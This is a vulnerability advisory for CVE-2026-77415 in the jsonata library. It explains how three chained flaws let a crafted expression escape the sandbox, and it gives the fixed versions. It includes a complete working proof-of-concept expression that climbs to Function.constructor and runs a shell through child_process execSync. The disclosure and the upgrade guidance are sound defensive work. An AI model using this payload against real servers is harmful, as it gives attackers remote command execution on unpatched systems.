CVE-2026-77415: jsonata Arbitrary Code Execution via Crafted Expression
A crafted JSONata expression can chain three logic flaws to escape the expression sandbox and run arbitrary operating system commands on the server.

The problem
JSONata versions >= 2.0.0 and < 2.2.1 contain three related flaws that can be chained into full remote code execution.
First, $clone can be overwritten by the expression itself, letting an attacker mutate objects through the transform operator. Second, wildcard expansion (e.g., $merge.*) unwraps internal function objects, exposing their raw properties. Third, applyProcedure called proc.arguments.forEach directly instead of Array.prototype.forEach, so a poisoned arguments object could redirect the call to attacker-controlled code.
Together these let a crafted expression reach Function() and invoke process.getBuiltinModule('child_process') to run shell commands.
Proof of concept
A working proof-of-concept for CVE-2026-77415 in jsonata, with the exact payload below.
import jsonata from "jsonata";
const expression = jsonata(`
(
$obj := {};
$clone := function($o) { $o };
$m := ($merge.*)[1];
$fn := function($a) {
(
$a({"value":"lg"},"__lookupGetter__");
$a({"value":"x"},"x");
)
};
$nop := function() { $ };
$capture := function($val) {
$obj ~> | $obj | {"x": 1, "y": 1, "lg":$lg} |
};
$ ~> | $ | $m([$nop,{"_jsonata_lambda":false}])|;
$ ~> | $ | {"arguments":{"forEach": $spread($fn)}}|;
$ ~> | $ | {"body":$m([$capture,{"_jsonata_lambda":false}]).body}|;
$func := $m([$,{"_jsonata_lambda":true}]);
$func();
$gP := $obj.lg("__proto__");
$afn:=$spread($fn);
$afn{"x":$gP().constructor("return process.getBuiltinModule('child_process').execSync('sh',{stdio:'inherit'})")()};
)
`);
await expression.evaluate({});The exploit chains three weaknesses in sequence. Overwriting $clone with a plain pass-through function disables the safe-clone guard inside evaluateTransformExpression, allowing the transform operator to mutate live objects rather than copies.
With mutation available, the PoC uses ($merge.*)[1] to rip the raw JS function reference out of the built-in $merge lambda, then rewrites the expression object's arguments.forEach to point to attacker-controlled code. Because applyProcedure called proc.arguments.forEach instead of Array.prototype.forEach (PR #799 fixed this to use the safe prototype method), the poisoned property is invoked during the next procedure call.
From there the attacker obtains __proto__ via a captured getter, climbs to Function.constructor, and constructs a new function containing process.getBuiltinModule('child_process').execSync(...). PR #800 stopped wildcards from unwrapping function objects, and PR #802 blocked the internal _jsonata_lambda flag from being set via the transform operator, each removing a link in the chain.
The fix
Upgrade jsonata to 2.2.1 (or 1.8.8 for the v1 branch). The release applies three patches: PR #799 locks applyProcedure to use Array.prototype.forEach; PR #800 prevents wildcard expansion from exposing raw function internals; PR #802 blocks expressions from writing the _jsonata_lambda internal flag via the transform operator.
Related research
- criticalCVE-2026-77413CVE-2026-77413: jsonata Arbitrary Code Execution via Prototype Chain Escape
- criticalCVE-2026-77414CVE-2026-77414: jsonata Arbitrary Code Execution via hasOwnProperty Bypass
- criticalCVE-2026-70477CVE-2026-70477: Flowise CSV Agent Prompt Injection Remote Code Execution
- criticalCVE-2026-69264CVE-2026-69264: Flowise CSVAgent Pyodide Code Injection RCE